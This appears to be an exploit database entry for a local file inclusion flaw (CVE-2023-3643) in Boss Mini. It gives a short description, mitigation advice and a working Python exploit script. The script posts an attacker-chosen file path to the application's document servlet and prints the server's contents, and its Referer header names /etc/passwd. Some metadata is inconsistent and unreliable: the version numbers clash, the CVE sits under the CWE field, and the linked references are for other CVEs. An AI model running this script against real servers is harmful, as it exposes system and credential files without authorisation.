Boss Mini 1.4.0 - Local File Inclusion

vendor:

Boss Mini

by:

nltt0

8.1

CVSS

CRITICAL

Local File Inclusion

CWE

Product Name: Boss Mini

Affected Version From: 1.4.2000

Affected Version To: 1.4.2000

Patch Exists: NO

Related CWE: CVE-2023-3643

CPE:

Metasploit: https://www.rapid7.com/db/vulnerabilities/amazon_linux-cve-2022-3643/, https://www.rapid7.com/db/vulnerabilities/amazon-linux-ami-2-cve-2021-3643/

Other Scripts:

Platforms Tested:

2023

Boss Mini 1.4.0 – Local File Inclusion

The exploit allows an attacker to include local files on the server by manipulating the application domain and providing a local file path. This vulnerability has been assigned the CVE-2023-3643.

Mitigation:

To mitigate this vulnerability, it is recommended to sanitize user inputs, avoid direct user-controlled data in file paths, and restrict file access permissions.

Source

Exploit-DB raw data:

# Exploit Title: Boss Mini 1.4.0 - local file inclusion
# Date: 07/12/2023
# Exploit Author: [nltt0] (https://github.com/nltt-br))
# CVE: CVE-2023-3643


'''
 _____       _                              _____ 
/  __ \     | |                            /  ___|
| /  \/ __ _| | __ _ _ __   __ _  ___  ___ \ `--. 
| |    / _` | |/ _` | '_ \ / _` |/ _ \/ __| `--. \
| \__/\ (_| | | (_| | | | | (_| | (_) \__ \/\__/ /
 \____/\__,_|_|\__,_|_| |_|\__, |\___/|___/\____/ 
                            __/ |                 
                           |___/                  

'''

from requests import post 
from urllib.parse import quote
from argparse import ArgumentParser

try:
    parser = ArgumentParser(description='Local file inclusion [Boss Mini]')
    parser.add_argument('--domain', required=True, help='Application domain')
    parser.add_argument('--file', required=True, help='Local file')

    args = parser.parse_args()
    host = args.domain
    file = args.file
    url = '{}/boss/servlet/document'.format(host)
    file2 = quote(file, safe='')

    headers = {
        'Host': host,
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange',
        'Referer': 'https://{}/boss/app/report/popup.html?/etc/passwd'.format(host)
    }


    data = {
        'path': file2
    }

    try:
        req = post(url, headers=headers, data=data, verify=False)
        if req.status_code == 200:
            print(req.text)

    except Exception as e:
        print('Error in {}'.format(e))   
       

except Exception as e:
    print('Error in {}'.format(e))